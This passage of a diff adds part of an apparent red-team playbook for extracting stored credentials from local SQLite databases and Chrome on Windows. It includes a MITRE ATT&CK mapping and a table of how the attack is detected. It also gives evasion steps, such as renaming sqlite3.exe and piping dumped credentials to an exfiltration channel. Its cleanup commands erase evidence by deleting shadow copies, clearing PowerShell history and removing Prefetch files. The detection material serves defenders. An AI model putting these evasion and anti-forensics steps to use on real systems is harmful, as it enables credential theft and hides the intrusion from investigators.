+
327
+ Output:
328
+ ```
329
+ id,username,password,master_key
330
+ 1,john.doe@corp.com,P@ssword2024!,b64encodedkeyXXX
331
+ ```
332
+
333
+ The `password` column contains the plaintext master password. All vault entries are then accessible by using the `master_key` to decrypt the `credentials` table entries. This has been observed in legacy builds of several open-source password managers (e.g., early Buttercup Desktop releases, misconfigured KeeWeb setups).
334
+
335
+ ---
336
+
337
+ ## MITRE ATT&CK Mapping
338
+
339
+ | Step | Tactic | Technique | Sub-technique | Description |
340
+ |------|--------|-----------|---------------|-------------|
341
+ | 1 — Resolve APPDATA path | Discovery | T1083 | — | File and Directory Discovery |
342
+ | 2 — Enumerate .db / .sqlite files | Discovery | T1083 | — | File and Directory Discovery |
343
+ | 3 — Triage by app name | Discovery | T1518 | T1518.001 | Software Discovery: Security Software Discovery |
344
+ | 4 — Open database, list tables | Collection | T1005 | — | Data from Local System |
345
+ | 5 — Extract credentials/tokens | Credential Access | T1552 | T1552.001 | Credentials in Files |
346
+ | 6 — Extract Chrome passwords | Credential Access | T1555 | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers |
347
+ | File copy (bypass lock) | Defense Evasion | T1006 | — | Direct Volume Access (copying locked file via shadow copy) |
348
+ | Save output to %TEMP% | Collection | T1074 | T1074.001 | Data Staged: Local Data Staging |
349
+
350
+ ---
351
+
352
+ ## Detection & OPSEC
353
+
354
+ ### How This Attack Is Detected
355
+
356
+ | Detection Vector | Signal | Tool |
357
+ |-----------------|--------|------|
358
+ | File access auditing | ReadData events on .db files in %APPDATA% | Windows Audit Policy + SIEM |
359
+ | Process creation | sqlite3.exe spawned from unusual parent (cmd, powershell) | EDR behavioral rules |
360
+ | PowerShell logging | Script block logs capturing Get-ChildItem + sqlite3 invocations | PowerShell ScriptBlock Logging |
361
+ | Sysmon Event ID 11 | FileCreate events for output files in %TEMP% | Sysmon + SIEM |
362
+ | Sysmon Event ID 1 | sqlite3.exe process creation with database file path as argument | Sysmon |
363
+ | AV heuristics | Known Chrome password extraction tools flagged as hacktool | Windows Defender |
364
+
365
+ ### How to Reduce Detection Risk During Authorized Engagement
366
+
367
+ - **Rename sqlite3.exe** to a generic name (e.g., `dbutil.exe`) to avoid name-based process detection rules.
368
+ - **Run from a user context** that is expected to access the target application — avoid running as SYSTEM or Administrator unnecessarily.
369
+ - **Avoid PowerShell ScriptBlock logging bypass** — instead, use compiled binaries or inline C# to query SQLite, reducing PS logging exposure.
370
+ - **Work in memory where possible** — avoid writing extracted data to disk. Pipe output directly to an exfiltration channel:
371
+ ```powershell
372
+ sqlite3 "C:\path\to\database.db" "SELECT * FROM credentials;" | Out-String
373
+ ```
374
+ - **Copy locked files via Volume Shadow Copy** rather than direct file copy tools that may trigger alerts:
375
+ ```powershell
376
+ vssadmin create shadow /for=C:
377
+ # then access via \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\...
378
+ ```
379
+ - **Limit scope** — only query specific tables rather than dumping the entire database (reduces data volume that could trigger DLP rules).
380
+ - **Operate during business hours** — anomalous activity during off-hours is more likely to trigger alerts.
381
+
382
+ ### Artifacts Left Behind
383
+
384
+ | Artifact | Location | Notes |
385
+ |----------|----------|-------|
386
+ | sqlite3.exe / dbutil.exe | Wherever you placed the binary | Must be removed |
387
+ | Output CSV / text files | %TEMP%\*.csv, %TEMP%\*.txt | Must be removed |
388
+ | Copied database files | %TEMP%\Login_Data_copy.db | Must be removed |
389
+ | PowerShell command history | %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Must be cleared |
390
+ | Windows Prefetch | C:\Windows\Prefetch\SQLITE3.EXE-*.pf | Remains as evidence of execution; requires admin to delete |
391
+ | Windows Event Logs | Security/System/Application logs | Requires admin to clear; note clearing itself is an alert |
392
+ | Shadow copies created | VSS store | Must be deleted: `vssadmin delete shadows /all /quiet` |
393
+
394
+ ---
395
+
396
+ ## Cleanup
397
+
398
+ Execute the following steps after completing an authorized engagement to remove artifacts:
399
+
400
+ ### Step 1 — Remove Extracted Data Files
401
+ ```powershell
402
+ Remove-Item "$env:TEMP\creds_out.csv" -Force -ErrorAction SilentlyContinue
403
+ Remove-Item "$env:TEMP\Login_Data_copy.db" -Force -ErrorAction SilentlyContinue
404
+ Remove-Item "$env:TEMP\*.db" -Force -ErrorAction SilentlyContinue
405
+ Remove-Item "$env:TEMP\*.csv" -Force -ErrorAction SilentlyContinue
406
+ ```
407
+
408
+ ### Step 2 — Remove sqlite3 Binary (if dropped)
409
+ ```powershell
410
+ Remove-Item "C:\path\where\you\placed\sqlite3.exe" -Force -ErrorAction SilentlyContinue
411
+ ```
412
+
413
+ ### Step 3 — Clear PowerShell Command History
414
+ ```powershell
415
+ Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue
416
+ Clear-History
417
+ ```
418
+
419
+ ### Step 4 — Delete Volume Shadow Copies (if created)
420
+ ```powershell
421
+ # Requires administrator
422
+ vssadmin delete shadows /all /quiet
423
+ ```
424
+
425
+ ### Step 5 — Clear Prefetch (requires administrator)
426
+ ```powershell
427
+ # Requires administrator
428
+ Remove-Item "C:\Windows\Prefetch\SQLITE3*" -Force -ErrorAction SilentlyContinue
429
+ Remove-Item "C:\Windows\Prefetch\DBUTIL*" -Force -ErrorAction SilentlyContinue
430
+ ```
431
+
432
+ ### Step 6 — Verify No Residual Files
433
+ ```powershell
434
+ Get-ChildItem "$env:TEMP" | Where-Object { $_.Name -match "\.db$|\.csv$|\.sqlite$" }
435
+ ```
436
+
437
+ **Expected Output:** No output (no matching files remain).
438
+
439
+ ### Step 7 — Document Cleanup in Engagement Report
440
+ Record what was removed, when, and confirm no sensitive data was retained beyond the authorized engagement period.
441
+
442
+ ---
443
+
444
+ ## References
445
+
446
+ | Resource | URL / Source |
447
+ |----------|-------------|
448
+ | SQLite Official Documentation | https://sqlite.org/docs.html |
449
+ | SQLite CLI Download | https://sqlite.org/download.html |
450
+ | DB Browser for SQLite | https://sqlitebrowser.org/ |
451
+ | MITRE ATT&CK T1005 — Data from Local System | https://attack.mitre.org/techniques/T1005/ |
452
+ | MITRE ATT&CK T1552.001 — Credentials in Files | https://attack.mitre.org/techniques/T1552/001/ |
453
+ | MITRE ATT&CK T1555.003 — Credentials from Web Browsers | https://attack.mitre.org/techniques/T1555/003/ |
454
+ | Chrome Password Decryption (DPAPI) | https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107 |
455
+ | Sysmon Configuration Reference | https://github.com/SwiftOnSecurity/sysmon-config |
456
+ | Windows DPAPI Internals | https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.protecteddata |
457
+ | Sysinternals Strings | https://docs.microsoft.com/en-us/sysinternals/downloads/strings |
458
+ | PowerShell ScriptBlock Logging | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows |